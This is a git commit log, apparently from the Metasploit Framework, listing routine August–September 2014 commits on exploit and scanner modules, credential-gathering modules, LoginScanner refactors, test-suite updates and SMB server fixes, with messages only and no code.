HD Moore 4966082de5 Replace 'rescue nil' with DRY-violating versions :( 2014-09-03 23:06:11 -05:00
sinn3r dd4fd7bb39 The reporting part 2014-09-03 16:32:23 -05:00
sinn3r e1694ec3e5 LoginScanner update for hp_sys_mgmt_login
Work in progress
2014-09-03 16:23:57 -05:00
Joe Vennix 0e18d69aab Add extended mode to prevent service from dying. 2014-09-03 16:07:27 -05:00
Joe Vennix 4293500a5e Implement running exe in multi. 2014-09-03 15:56:21 -05:00
Pedro Ribeiro f0e3fa18a3 Restore the original filename 2014-09-03 21:32:05 +01:00
Joe Vennix 268d42cf07 Add PrependFork to payload options. 2014-09-03 14:56:22 -05:00
jvazquez-r7 185ce36859 Land #3701, @wchen-ru's AppleTV modules 2014-09-03 12:30:50 -05:00
sinn3r 37f110febb Merge pull request #19 from jvazquez-r7/land_wchen_3701
Add http socket to the module sockets array and allow the framework to cleanup
2014-09-03 12:08:51 -05:00
jvazquez-r7 10dee28fbd Add http socket to the module sockets and allow the framework to cleanup 2014-09-03 12:01:48 -05:00
sinn3r 5acbcc80e2 no threading 2014-09-03 11:37:30 -05:00
Pedro Ribeiro ded085f5cc Add CVE ID 2014-09-03 07:22:10 +01:00
Brandon Perry ee3e5c9159 Add check method 2014-09-02 21:35:47 -05:00
sinn3r 61e58dc6d3 Yard doc 2014-09-02 20:48:07 -05:00
sinn3r 954475c0bf Add rspec and update about secure admin 2014-09-02 20:35:25 -05:00
darkbushido 77f0a2d420 fixing a merge error with travis.yml 2014-09-02 19:07:39 -05:00
darkbushido 794dc136f6 Merge branch 'aruba-testing-with-updated-master' into aruba-testing 2014-09-02 19:00:46 -05:00
darkbushido 50e804d9cb updating how we use cucumber to match lukes changes 2014-09-02 18:57:55 -05:00
jvazquez-r7 15f19468a1 Do last cleanup 2014-09-02 18:57:10 -05:00
jvazquez-r7 3ad0542b2a Fix some specs 2014-09-02 18:50:37 -05:00
jvazquez-r7 a1823b6c1e Add more specs for Rex::Arch::X86 2014-09-02 18:17:14 -05:00
Tod Beardsley 67786e34ae Land #3739, knock out rspec deprecations 2014-09-02 17:41:22 -05:00
Pedro Ribeiro c672fad9ef Add OSVDB ID, remove comma from Author field 2014-09-02 23:17:10 +01:00
Pedro Ribeiro d69049008c Refactor and rename desktopcentra_file_upload
- Rewrite check method
- Declare that v7 is also exploitable (tested and it works)
- Rename to dc_agentlogupload_file_upload to match the other DC module's naming convention
- Add CVE / OSVDB / Full disclosure references
2014-09-02 23:12:33 +01:00
Pedro Ribeiro 05856016c9 Add exploit for CVE-2014-5005 2014-09-02 23:09:10 +01:00
James Lee 83af97e5ab Land #3728, creds outfile 2014-09-02 16:15:10 -05:00
darkbushido 5b3800c13a removing the hacked stty solution 2014-09-02 13:57:48 -05:00
darkbushido 13a0b8da83 Merge branch 'master' into aruba-testing-with-updated-master
Conflicts:
	Gemfile.lock
	config/cucumber.yml
	features/support/env.rb
	features/support/hooks.rb
	lib/tasks/cucumber.rake
2014-09-02 13:56:02 -05:00
HD Moore 85c5de07ec Fix use of datastore['SMBServerIdleTimeout'] 2014-09-02 13:47:01 -05:00
HD Moore 6fcc864942 Reduce the chance of file descriptor leaks in SMBServer
This patch addresses three observed error conditions in long-running SMB services.

1. A call to get_once() in on_client_data could raise a Timeout exception and bubble all the way up to the dispatcher. This should technically never happen, but gets triggered for zero-byte writes and clients closing their connections. The fix was to handle the exception and lower the timeout. The change was tested with a number of SMB clients to make sure this didn't introduce any regressions.

2. A client could indefinitely keep a connection to the SMB server. The SMB server now disconnects idle clients after 120 seconds of inactivity (configurable).

3. A client could send a large amount of data that was invalid SMB traffic, using up memory as a potential DoS.

Caveats: The idle client sweep occurs every 100 requests or at an interval equal to the idle timeout. A client could fill up the entire connection table on its own, preventing the sweep from occurring by preventing new connections. Fixing this would require a dedicated thread to sweep for idle connections and is a more aggressive attack than this patch is designed to defend against (accidental connection flooding, basically).
2014-09-02 13:29:37 -05:00
jvazquez-r7 16111aa2f7 Use RSpec::Mocks::Double 2014-09-02 13:25:05 -05:00
jvazquez-r7 fdb66d978b Fix remainings be_truthy and be_falsey conditionals 2014-09-02 13:22:21 -05:00
jvazquez-r7 9cec62d52b Merge branch 'specs_its' into fix_deprecation_warnings 2014-09-02 13:14:21 -05:00
jvazquez-r7 15e564ddf3 Merge branch 'collection_owner' into fix_deprecation_warnings 2014-09-02 13:14:09 -05:00
jvazquez-r7 824ff7fc72 Merge branch 'specs_skip' into fix_deprecation_warnings 2014-09-02 13:13:09 -05:00
jvazquez-r7 33784777df Avoid its in Msfupdate specs 2014-09-02 12:53:24 -05:00
jvazquez-r7 e0c6f5032f Avoid its in Msf::DBManager specs 2014-09-02 12:46:50 -05:00
Joe Vennix f7617183d9 Revert "Add initial firefox xpi prompt bypass."
This reverts commit ebcf972c08.
2014-09-02 12:27:41 -05:00
jvazquez-r7 d7af3a628d Avoid its on Msf::ModuleManager::Cache shared examples specs 2014-09-02 12:02:26 -05:00
jvazquez-r7 bf0d30cf03 Fix rspec-collection_matchers deprecation warning in Rex::Socket::RangeWalker 2014-09-02 11:08:26 -05:00
jvazquez-r7 5a0b6ece6e Use is_expected 2014-09-02 10:27:53 -05:00
jvazquez-r7 764af20567 Fix rspec-collection_matchers deprecation warnings in Rex::Socket 2014-09-02 10:21:52 -05:00
cx aaeb5a2f5f jhart-r7 suggestions added 2014-09-02 12:05:54 +03:00
John Sawyer 3281781f6a Addressed r7 comments, fixed bug in results loop 2014-09-01 13:43:31 -04:00
Tom Sellers 288a891665 Add the 'guest' IPMI user
The 'guest' IPMI user exists on many Cisco Unified Computing Server (UCS) implementations.
2014-09-01 07:01:06 -05:00
Pedro Ribeiro d480a5e744 Credit h0ng10 properly 2014-09-01 07:58:26 +01:00
Pedro Ribeiro 59847eb15b Remove newline at the top 2014-09-01 07:56:53 +01:00
Pedro Ribeiro 6a370a5f69 Add exploit for eventlog analyzer file upload 2014-09-01 07:56:01 +01:00
Matthew Kienow 7dd73084bb Added WiFi ifindex discovery and enhanced error handling 2014-09-01 00:49:10 -04:00
Matthew Kienow cf0f00a376 Variable name changes per ruby style guide 2014-08-31 23:57:20 -04:00
Matthew Kienow 0735de0fd4 Changes to error output per PR comments 2014-08-31 23:57:20 -04:00
Matthew Kienow 0a01da1ca9 Changed default value for SNMP Version option 2014-08-31 23:57:20 -04:00
Matthew Kienow e6126fde72 Modified to pull username and password first 2014-08-31 23:57:19 -04:00
Matthew Kienow 5153886077 Added disclosure URL and cleaned up output fields 2014-08-31 23:57:19 -04:00
inokii 4ef369112f Cleanup per msftidy report of Spaces at EOL 2014-08-31 23:57:19 -04:00
inokii e37d56766f Corrected extraction of WEP keys, current key, RADIUS server and port 2014-08-31 23:57:19 -04:00
inokii f1cd601401 Modified logic to attempt to process WiFi key data even if primary Wifi interface is not up 2014-08-31 23:57:19 -04:00
inokii e5111f7634 Simplified get_radius_info method and cleaned up comments 2014-08-31 23:57:19 -04:00
inokii c556a6e331 Fixed syntax issue 2014-08-31 23:57:19 -04:00
inokii 81047e911a Corrected OIDs to all numeric 2014-08-31 23:57:19 -04:00
inokii b253e444cb Initial commit of SBG6580 scanner after cleanup 2014-08-31 23:57:18 -04:00
Pedro Ribeiro 9e8658268b Merge pull request #2 from rapid7/master
update
2014-08-31 22:09:06 +01:00
Tom Sellers 20a02a9d29 Cleanup 2014-08-31 14:01:13 -05:00
Tom Sellers 6f7bc94db4 Creation of rdcmanager_creds.rb 2014-08-31 13:38:08 -05:00
Kurt Grutzmacher 0ef71c70d3 s/services/creds 2014-08-31 09:54:49 -07:00
Kurt Grutzmacher 3bb370437c Returns csv output to creds command
commit 82b2c1deae removed the -o option
from the creds command. This returns it to its former glory!
2014-08-31 08:35:22 -07:00
jvazquez-r7 c05edd4b63 Delete debug print_status 2014-08-31 01:34:47 -05:00
jvazquez-r7 8b1791da22 Modify modules to keep old behavior 2014-08-31 01:18:53 -05:00
jvazquez-r7 559ec4adfe Add module for ZDI-14-299 2014-08-31 01:11:46 -05:00
DrDinosaur 8ba5488198 Update wordpress_login_enum.rb
Fixed some typos.
2014-08-30 13:37:48 -10:00
jvazquez-r7 e1b6ee283f Allow Msf::Payload::JSP to guess system shell path if it isnt provided 2014-08-30 16:27:02 -05:00
Brandon Perry 438f0e6365 typos 2014-08-30 09:22:58 -05:00
Brandon Perry f72cce9ff2 Update railo_cfml_rfi.rb 2014-08-29 17:33:15 -05:00
David Maloney a142e78a66 refactor wordpress_xml_rpc_login
refactor the login module to use the loginscanner class
2014-08-29 13:09:09 -05:00
David Maloney 928aeffcba add wordpress_rpc loginscanner and specs 2014-08-29 13:06:12 -05:00
David Maloney 0e14b271a1 Merge branch 'master' into wordpress-xmlrpc-login-scanner 2014-08-29 12:50:34 -05:00
Spencer McIntyre 1cdf1c2c6e Land #3709, @nnam's wing ftp admin console cmd exec 2014-08-29 13:46:01 -04:00
Spencer McIntyre 8095b4893c Rename and apply rubocop style to wing_ftp_admin_exec 2014-08-29 13:42:11 -04:00
cx bd9417490e Merge branch 'master' into linux-post-enum-psk 2014-08-29 15:50:28 +03:00
cx eaf73f9f84 Linux Gather 802-11-Wireless Security Credentials 2014-08-29 11:08:08 +03:00
sinn3r f7091d854e Add a timeout 2014-08-28 22:26:38 -05:00
jvazquez-r7 40f581458a Land #3570, @ikkini scanner for rsync 2014-08-28 18:48:32 -05:00
jvazquez-r7 9fb9ab813c Add URL reference 2014-08-28 18:47:56 -05:00
jvazquez-r7 bc542a011d Change module filename 2014-08-28 18:42:30 -05:00
jvazquez-r7 213fe23970 Clean rsync_modules_list 2014-08-28 18:40:55 -05:00
Samuel Huckins b4e3ce0fdc Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-28 17:14:07 -05:00
Samuel Huckins fa77caa819 Merge branch 'bug/MSP-11153/database-config-overrides'
MSP-11153 #land
2014-08-28 17:12:37 -05:00
jvazquez-r7 20bcb8029b Land #3723, solves #3719 msfcli crash 2014-08-28 17:09:53 -05:00
James Lee 031445fee7 Check for nil resource files
See #3719
2014-08-28 16:27:33 -05:00
Luke Imhoff 20177c7c23 Restore backup database.yml when retesting after interrupt
MSP-11153

Restore the config/database.yml backed up to
config/database.yml.cucumber.bak in the db:config:restore task, which is
made a dependency of the environment rake task so that
config/database.yml is restored before Rails tries to use it in the
environment task.  This specifically, allows for rake cucumber to be
interrupted when the config/database.yml has been moved to
config/database.yml.cucumber.bak and a subsequence rake cucumber to
succeed and restore config/database.yml, but any task that depends on
environment will restore the config/database.yml.
2014-08-28 15:20:53 -05:00
nnam 02bbd53b82 Fix failure messages for check(). 2014-08-28 12:09:35 -07:00
Luke Imhoff 7a8d7a38d1 Remove debugging 'puts'
MSP-11153
2014-08-28 13:48:46 -05:00
Nicholas Nam 6c90a50e47 Handle res.nil case in check(). Revert check for res.nil in
execute_command() because it was failing prior to the reverse_shell
connecting.
2014-08-28 10:57:52 -07:00
Nicholas Nam 0788ce9745 Removed unused require and import. Handle the res.nil case in
execute_command() and authenticate().
2014-08-28 10:30:30 -07:00
sinn3r f097ef96e0 Use && 2014-08-28 12:13:03 -05:00
sinn3r d0d9949d91 Do SSL options correctly 2014-08-28 12:04:14 -05:00
Luke Imhoff 5ab8fcd026 Remove realpath call from expected user_configurations_pathname
MSP-11153

realpath is not used in the actual code anymore because it doesn't work
for non-existent paths.
2014-08-28 11:51:25 -05:00
jvazquez-r7 58091b9e2b Land #3708, @pedrib fix for manage_engine_dc_pmp_sqli 2014-08-28 10:47:03 -05:00
jvazquez-r7 d8c15766bd Land #3567 @OJ's fixes to the MQAC local exploit solving conflicts 2014-08-28 10:19:47 -05:00
jvazquez-r7 9d3d25a3b3 Solve conflicts 2014-08-28 10:19:12 -05:00
Spencer McIntyre dd8690323a Land #3722, fix typos in openssl ccs scanner 2014-08-28 10:50:18 -04:00
Matt Andreko 784ece574e Found additional typos. 2014-08-28 09:03:19 -05:00
Matt Andreko cb634cfef3 Fixed annoying typo that shows up in validation screenshots 2014-08-28 08:50:30 -05:00
Brandon Perry f4965ec5cf Create railo_cfml_rfi.rb 2014-08-28 08:42:07 -05:00
Luke Imhoff 188f5d012a Add scenario for no database.yml
MSP-11153
2014-08-27 22:02:16 -05:00
Luke Imhoff 7453f6fa3a Project "database.yml" scenario
MSP-11153
2014-08-27 21:47:31 -05:00
Luke Imhoff e6750b985c Add 'the' to make steps read better
MSP-11153
2014-08-27 21:38:46 -05:00
Luke Imhoff 972470c241 Ensure a fake project database.yml is used for scenarios
MSP-11153

Ensures that cucumber still works if config/database.yml is not set and
so other location is being used to run cucumber.
2014-08-27 21:36:23 -05:00
Luke Imhoff 496865e591 Order database.yml definitions to match precedence
MSP-11153
2014-08-27 21:15:00 -05:00
Luke Imhoff d752cdccf6 Remove unneeded command_line.yml
MSP-11153

Remove definition of command_line.yml in scenarios that don't use --yaml
flag.
2014-08-27 21:09:49 -05:00
Luke Imhoff b701ba5dcf ~/.msf4/database.yml scenario
MSP-11153
2014-08-27 20:57:08 -05:00
Luke Imhoff b1e745aa16 MSF_DATABASE_CONFIG scenario
MSP-11153
2014-08-27 20:33:52 -05:00
inkrypto 4a479d17a9 Randomize padding on aux module, fix spacing on exploits 2014-08-27 20:41:33 -04:00
Tom Sellers 0b820c59b1 Fix to self.refname 2014-08-27 18:34:15 -05:00
Tod Beardsley 6d45f75b47 Land #3690, credential_collect refactor
@TomSellers strikes again!
2014-08-27 18:31:59 -05:00
Tom Sellers 9b0c5dfb0c Minor fix 2014-08-27 18:31:13 -05:00
sinn3r 0ba2f1e457 Leave a note about the old empty password issue 2014-08-27 17:06:11 -05:00
Luke Imhoff 275fa5cb50 Remove unnecessary return
MSP-11153

Leftover from earlier design.
2014-08-27 16:58:45 -05:00
Luke Imhoff 83b6f268b4 Remove unnecessary realpath
MSP-11153

Causes errors on machines that don't have ~/.msf4 like travis-ci.
2014-08-27 16:58:05 -05:00
sinn3r d5b70cca24 "Auth bypass" does not really describe what the feature actually does 2014-08-27 16:56:07 -05:00
Luke Imhoff 2b2d9085d3 Add cucumber to test matrix
MSP-11153
2014-08-27 16:50:25 -05:00
Luke Imhoff bfc509c18a Add feature that tests --yaml is favored over others
MSP-11153
2014-08-27 16:46:23 -05:00
sinn3r df215a380d Do not send 2 content-length headers 2014-08-27 16:05:08 -05:00
sinn3r a32ffc4c26 Add the final portion for Glassfish login module 2014-08-27 15:09:11 -05:00
Luke Imhoff 1857c6ae39 Add aruba
MSP-11153

aruba adds steps for testing commandline applications with cucumber.
2014-08-27 14:22:20 -05:00
Luke Imhoff 2f48f7c48c rails generate cucumber:install
MSP-11153

Add cucumber-rails for testing msfconsole's loading of database.yml from
different paths.
2014-08-27 14:10:04 -05:00
darkbushido 984f073c7d changing from cucumber to cucumber-rails
using the MSF_DATABASE_CONFIG to tell msfconsole where to find the database.yml
2014-08-27 13:44:34 -05:00
darkbushido 1da7ab9bda Rake will only show the load error when features are called
if you dont have cucumber installed it will only display the message if you call
rake features
2014-08-27 12:13:30 -05:00
Luke Imhoff 951ce15b44 Move database.yml selection to Metasploit::Framework::Database
MSP-11153

Test the following paths in order and only return them if the path
exists:

1. MSF_DATABASE_CONFIG environment variable
2. ~/.msf4/database.yml
3. <project>/config/database.yml
2014-08-27 12:01:43 -05:00
sinn3r 633eaab466 Land #3714 - Firefox 22-27 WebIDL Privileged Javascript Injection 2014-08-27 01:45:18 -05:00
sinn3r 5d8cbe0544 Early version of Glassfish using LoginScanner 2014-08-27 01:23:02 -05:00
Joe Vennix 26cfed6c6a Rename exploit module. 2014-08-26 23:05:41 -05:00
Tod Beardsley bf2c390ff4 Land fix for #3712 typo 2014-08-26 20:38:00 -05:00
Joe Vennix 96276aa6fa Get the disclosure date right. 2014-08-26 20:36:58 -05:00
Tod Beardsley c045c9606c Fix typo in PR #3712
Fixes the typo pointed out in
rapid7#3712#discussion_r16750554

Derp
2014-08-26 20:36:28 -05:00
Joe Vennix 52f33128cd Add Firefox WebIDL Javascript exploit.
Also removes an incorrect reference from another FF exploit.
2014-08-26 20:35:17 -05:00
Jon Hart 1f35c0ff1c Merge #3713, @hmoore-r7's SIP cleanup of my SIP cleanup 2014-08-26 17:52:35 -07:00
Jon Hart 316a952e9c Make SIP note, service and print output more similar 2014-08-26 17:47:31 -07:00
HD Moore fde2687c9e Store edition,version,build in the fingerprint.match 2014-08-26 18:44:08 -05:00
dmaloney-r7 8d26b66e2f Merge pull request #3689 from TomSellers/loginpalooza/vmauthd-creds-update
Credential Gem: LoginScanner - vmauthd_login ( Rebase of PR 3608)
2014-08-26 18:43:12 -05:00
Tom Sellers 4a1b037af0 Remaining files.. 2014-08-26 18:15:58 -05:00
Tom Sellers d5e39ae284 Adjustments for new LoginScanner code 2014-08-26 18:13:00 -05:00
jvazquez-r7 b37e1a5421 Solve conflicts 2014-08-26 17:51:37 -05:00
Tod Beardsley fe99f4b6e7 Land #3712, a nicer exploit-checker for msftidy 2014-08-26 16:59:56 -05:00
jvazquez-r7 0d9d722525 skip examples pending of pivotaltracker 38730815 2014-08-26 16:49:13 -05:00
Josh 073c668cd8 Merge pull request #12 from todb-r7/commit-hooks-should-only-check-modules
Land 12 from todb, only pre-commit-hook on actual modules
2014-08-26 16:47:23 -05:00
HD Moore 2d2606aeaf Update sip note format, small tweaks to output, service.info 2014-08-26 16:42:00 -05:00
Tod Beardsley dbdb4afb8c Add a top anchor to the file match regex. 2014-08-26 16:19:29 -05:00
Joshua Smith 622e8a7714 adds better exploit module detection to msftidy 2014-08-26 15:30:08 -05:00
Joshua Smith 49adde2095 Land 3702, prefer be_falsey and cleanup specs 2014-08-26 15:24:41 -05:00
Joshua Smith 1fa26e2afb cleans up a bunch of spec msftidy issues 2014-08-26 15:24:08 -05:00
jvazquez-r7 042b8a3672 Switch from pending to skip in specs 2014-08-26 15:17:00 -05:00
HD Moore ba1f7c3bf6 Land #3687, reworks the nat-pmp portscanner 2014-08-26 14:34:46 -05:00
HD Moore ed9bb3e52c Fix a small typo 2014-08-26 14:34:10 -05:00
Jon Hart 775ebce56b Correct natpmp_portscan's print_* usage to include peer 2014-08-26 12:27:12 -07:00
HD Moore 3b8bbdf10c Merge master back in before landing #3545 2014-08-26 14:07:58 -05:00
HD Moore 4e19d9ade1 Land #3545, fix up sip scanners, msftidy, db services cmd 2014-08-26 14:07:21 -05:00
Jon Hart 5826d7b164 vprint_status when no external address obtained, print_ is too noisy 2014-08-26 12:05:40 -07:00
David Maloney 8c72256e5d Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-26 14:00:03 -05:00
Tod Beardsley 2254c3060e Land #3710, pack V* for two elem array
This also fixes #3706
2014-08-26 13:58:37 -05:00
David Maloney c42517a14a missing exception rescue
needed to also rescue Errno::ETIMEDOUT
2014-08-26 13:58:34 -05:00
Jon Hart e75e213b52 Clarify SIP mixin method name, store header values as string, etc 2014-08-26 11:40:49 -07:00
Jon Hart 677d7804ae Fix bad merge 2014-08-26 10:49:54 -07:00
Jon Hart 5ad090e833 Add unit test for and correct parsing of NAT-PMP port map responses 2014-08-26 10:49:53 -07:00
Jon Hart 246f021437 Update natpmp_external_address to use Msf::Auxiliary::UDPScanner 2014-08-26 10:49:53 -07:00
Jon Hart 5c57f9b4eb Don't overload RPORT/LPORT for mapping external -> internal ports 2014-08-26 10:49:53 -07:00
Jon Hart 162508f532 Update NAT-PMP modules to use new/updated mixins 2014-08-26 10:49:53 -07:00
Jon Hart 816404bb88 Move common NAT-PMP functionality into a central place 2014-08-26 10:49:53 -07:00
Jon Hart 32a14cfc43 Missed the file... 2014-08-26 10:49:53 -07:00
Jon Hart b0347906e3 Correct NATPMP external address resposne epoch and result parsing 2014-08-26 10:49:52 -07:00
Jon Hart ca11eae3a9 Show a useful failure message when the external address probe fails 2014-08-26 10:49:52 -07:00
William Vu 9f6a40dfd6 Fix bad pack in mswin_tiff_overflow
Reported by @egyjuzer in #3706.
2014-08-26 11:14:44 -05:00
Jon Hart ff7e0f3c19 Land #3705, xistence's UPNP SSDP M-SEARCH amplification scanner 2014-08-26 08:30:43 -07:00
Jon Hart bb00c97f46 Add a CERT reference 2014-08-26 08:29:28 -07:00
Jon Hart 40fe2fd3a9 Remove DRDoS references, as this just proves amplification 2014-08-26 08:23:50 -07:00
Jon Hart 10f52d8765 Use MX of 1 to speed up responses from endpoints that respect it 2014-08-26 08:00:30 -07:00
Jon Hart 333c3a90ae Space between SSDP headers and values, which is sometimes required 2014-08-26 07:57:59 -07:00
Jon Hart 337cd02dd7 Change Auxiliary::DRDoS' prove_drdos to prove_amplification 2014-08-26 07:48:44 -07:00
Jon Hart 9749c78632 Add amplification multiplier for vulnerable proofs 2014-08-26 07:36:38 -07:00
Jon Hart 04fbd07a16 vprint_error in the unlikely event we get an unexpected response 2014-08-26 07:30:14 -07:00
Nicholas Nam 40b66fae33 Add Wing FTP Server post-auth remote command execution module 2014-08-26 07:28:41 -07:00
Jon Hart 79b05db409 Correct minor style issues 2014-08-26 07:26:30 -07:00
jvazquez-r7 41420a97d5 Solve conflicts 2014-08-26 09:04:05 -05:00
Pedro Ribeiro a8d03aeb59 Fix bug with PMP db paths 2014-08-26 12:54:31 +01:00
Pedro Ribeiro 473341610c Update name to mention DC; correct servlet name 2014-08-26 12:39:48 +01:00
Pedro Ribeiro bcdea05b51 Merge pull request #1 from rapid7/master
Update from original
2014-08-26 12:37:49 +01:00
xistence 63b75a0093 SSDP Amplification module changes 2014-08-26 16:03:32 +07:00
Joshua Smith b3e898736f Land 3694, msfconsole.rc wasn't loading, add yard 2014-08-26 01:12:33 -05:00
xistence a90d142140 Add UPnP SSDP Amplication Scanner 2014-08-26 12:53:14 +07:00
Joshua Smith 97754afe4f Land 3703, be_truthy instead of be_true 2014-08-26 00:00:05 -05:00
jvazquez-r7 57afaf6580 undo be_false case 2014-08-25 23:58:08 -05:00
jvazquez-r7 60ecf4e8c4 Use be_truthy instead of be_true 2014-08-25 23:58:08 -05:00
jvazquez-r7 aa47746290 Undo incorrect be_true switch 2014-08-25 18:23:55 -05:00
jvazquez-r7 6c631a2069 undo be_false case 2014-08-25 18:18:47 -05:00
jvazquez-r7 7bfcad9c27 Use be_truthy instead of be_true 2014-08-25 18:13:38 -05:00
jvazquez-r7 c372f5164b And switch more cases to be_falsey 2014-08-25 17:50:38 -05:00
jvazquez-r7 a1e1cef418 More use of be_falsey 2014-08-25 17:38:50 -05:00
jvazquez-r7 dd1c015e4e Use be_falsey 2014-08-25 17:34:55 -05:00
jvazquez-r7 9a14b64051 First version of Rex::Arch::X86 specs 2014-08-25 16:44:28 -05:00
HD Moore 73e4ec709f Fix smb_port and require 'recog' when no DB/MDM 2014-08-25 15:42:18 -05:00
sinn3r 463815d240 Add AppleTV modules (imge, video and login) 2014-08-25 15:24:41 -05:00
Jon Hart a41748e77e Correct SIP header note storage to align with Recog 2014-08-25 13:12:30 -07:00
Jon Hart 6a522cc105 Remove unused BATCHSIZE from SIP options_tcp, duplicate from options 2014-08-25 13:12:29 -07:00
Jon Hart bfa89bb3a5 Enforce binary encoding on non-modules, no encoding on modules 2014-08-25 13:12:29 -07:00
Jon Hart 6185721a61 Address @hmoore-r7's feedback regarding binary encoding 2014-08-25 13:11:22 -07:00
Jon Hart a4f623a955 Show port and protocol when printing service notes, not just name 2014-08-25 13:11:22 -07:00
Jon Hart 9955cb5b27 Enforce proper protocol case where necessary 2014-08-25 13:11:22 -07:00
Jon Hart b760815c86 Also pull the Allow headers (previous behavior) 2014-08-25 13:11:21 -07:00
Jon Hart 637f86f37d Gut SIP UDP stuff, use Msf::Auxiliary::UDPScanner 2014-08-25 13:11:21 -07:00
Jon Hart 50d90defbc Use a correct default Accept header -- responses++ 2014-08-25 13:11:21 -07:00
Jon Hart c2e70446ed Move SIP module stuff to Msf::Exploit::Remote::SIP 2014-08-25 13:11:21 -07:00
Jon Hart fc67aed174 Correct style and doc issues, tidy failure message when not SIP 2014-08-25 13:11:21 -07:00
Jon Hart e3753e3649 Refactor SIP response parsing for future improvements 2014-08-25 13:11:21 -07:00
Jon Hart 02e41c27e7 Split SIP response parsing out on its own, add unit tests.
Passes rspec but fails in framework. WIP.
2014-08-25 13:11:20 -07:00
Jon Hart 69aa56d8d3 Disable rubocop RedundantBegin for modules 2014-08-25 13:11:20 -07:00
Jon Hart d4ea3e9f29 Pass protocol down to parse_reply for report_* purposes 2014-08-25 13:09:39 -07:00
Jon Hart a2e2e37a69 Fix SIP options scanning 2014-08-25 13:09:39 -07:00
Jon Hart 2a4d73ee35 Add status message that displays delay between requests 2014-08-25 12:55:27 -07:00
Jon Hart 5c61c09c6b auxiliary/scanner/http/soap_xml cleanup
This:

* Corrects Ruby style (most) everywhere
* Uses Rex's sleep, converts to milliseconds -- seconds are too granular
* Moves begin/rescue inside nested verb+noun loop
* Prints errors even if not in verbose mode
* Corrects URI construction when PATH ends with /
2014-08-25 12:55:27 -07:00
Joe Vennix 6d3255a3b5 Update bad config error. 2014-08-25 14:43:23 -05:00
David Maloney 152ddb2f32 refactor the ipboard-login module
now that we have the loginScanner class, we simplify the module
by using the scanner and credcollection classes to handle all
the real work for us
2014-08-25 14:32:47 -05:00
Joe Vennix b652ebb44f Add other gdb-supported platforms that run on allowed arches. 2014-08-25 14:15:20 -05:00
Joe Vennix c4a173e943 Remove automatic target, couldn't figure out generic payloads. 2014-08-25 14:14:47 -05:00
darkbushido 2877cdc362 Merge branch 'master' into aruba-testing 2014-08-25 14:09:37 -05:00
William Vu 6e3739a220 Land #3698, release fixes 2014-08-25 14:00:29 -05:00
David Maloney 32b1a5ea23 add ipboard loginscanner
add loginscanner class for IPBoard with specs
this should replicate the functionality originally written
by Chris Truncer, but move it into a testable, reusable class
2014-08-25 13:58:30 -05:00
Tod Beardsley 6d9833e32b Minor pre-release updates with descriptions 2014-08-25 13:34:45 -05:00
Tod Beardsley 03a1f4455d No need to escape single quotes in %q{} strigns 2014-08-25 13:03:33 -05:00
Tod Beardsley 2f87c880df Add link to blog post for NTP modules 2014-08-25 12:58:10 -05:00
Tod Beardsley c3213a73e5 Use peer when writing scanner modules
This fixes the module seen in PR rapid7#3684 to use the peer method at
the beginning of print_* messages, rather than the vhost method at the
end. Doing this tends to make reading the output much easier since it's
more consistent.

Incidentally, this module has an msftidy complaint:

````
--- Checking new and changed module syntax with tools/msftidy.rb ---
modules/auxiliary/scanner/http/ipboard_login.rb - [INFO] Please use
vars_get in send_request_cgi: send_request_cgi({ 'uri' =>
normalize_uri(target_uri.path,
"index.php?app=core&module=global&section=login&do=process"
````

This should be fixed as well, or explained why it's not being honored.
2014-08-25 12:48:32 -05:00
William Vu 1ee83ff57e Land #3696, pile of NTP DRDoS 0days
Dr. DoS in da house?
2014-08-25 11:47:28 -05:00
William Vu 7a76efa7f7 Add reference and disclosure date 2014-08-25 11:46:47 -05:00
HD Moore 92ff0974b7 Add YARD option formatting 2014-08-25 01:45:59 -05:00
OJ a39f7b94ec Land #3684 - IP Board Login Scanner 2014-08-25 11:54:42 +10:00
Christopher Truncer 302e4025ba Removed unnecessary function 2014-08-24 20:45:28 -04:00
Christopher Truncer 2b59063d6c Updated based on feedback 2014-08-24 19:53:29 -04:00
Tom Sellers fa502c9c69 Minor adjustments 2014-08-24 17:39:13 -05:00
Tom Sellers 601c5515f8 Corrected 3 issues identified by jlee-r7 2014-08-24 17:18:31 -05:00
jvazquez-r7 c20b4dc0ff Land #3645, @jlee-r7's fix for mremoge credentials gather module 2014-08-24 15:53:29 -05:00
James Lee 19d6feca62 Fix regression where msfconsole.rc wasn't loading
Also add some slightly better docs for the Driver class
2014-08-24 15:10:41 -05:00
Tom Sellers 081a3437a4 Refactor for Credentials gem 2014-08-24 09:38:15 -05:00
Joe Vennix a27754c5c1 Tweak specs a bit. 2014-08-24 02:41:37 -05:00
Joe Vennix 120f416f9c Add spec for Msf::EncodedPayload.create. 2014-08-24 02:36:09 -05:00
Joe Vennix 6313b29b7a Add #arch method to Msf::EncodedPayload.
This allows exploits with few one automatic target to support many
different architectures.
2014-08-24 02:22:15 -05:00
Joe Vennix 88f626184c Remove linux platform limitation, target depends on arch only. 2014-08-24 01:39:04 -05:00
Joe Vennix 04d0b87067 Reorder module title. 2014-08-24 01:18:21 -05:00
Joe Vennix 1d3531d09d Put include above constant defs. 2014-08-24 01:17:32 -05:00
Joe Vennix c65ba20017 Fix incorrect Platforms key. 2014-08-24 01:15:34 -05:00
Joe Vennix 4e63faea08 Get a shell from a loose gdbserver session. 2014-08-24 01:10:30 -05:00
Tom Sellers 1fa43bfe64 Rework for Credential lib update 2014-08-23 10:53:55 -05:00
John Sawyer 0a27a18104 Committing changes from r7 comments 2014-08-23 00:08:27 -04:00
Christopher Truncer 84f4fa5c76 Updated module based on feedback 2014-08-22 21:16:53 -04:00
jvazquez-r7 3bbe9bf074 Land #3540, JBoss refactoring with @us3r777 2014-08-22 17:06:28 -05:00
jvazquez-r7 0737d0dbd5 Refactor auxiliary module 2014-08-22 17:05:45 -05:00
jvazquez-r7 0031913b34 Fix nil accesses 2014-08-22 16:19:11 -05:00
jvazquez-r7 8945f04ffd Add specs for Msf::HTTP::JBoss::BeanShell 2014-08-22 16:13:38 -05:00
jvazquez-r7 f57dd9a224 Add specs for #generate_bsh 2014-08-22 15:39:58 -05:00
jvazquez-r7 2b3058869f Add Msf::HTTP::JBoss::BeanShellScripts specs 2014-08-22 15:36:29 -05:00
jvazquez-r7 7ee5423310 Add specs for Msf::HTTP::JBoss::Base 2014-08-22 15:11:27 -05:00
William Vu 5d708b65b4 Land #3676, updated Meterpreter bins!
For KB2871997.
2014-08-22 14:33:27 -05:00
jvazquez-r7 4742dbad91 Fix YARD documentation 2014-08-22 14:18:13 -05:00
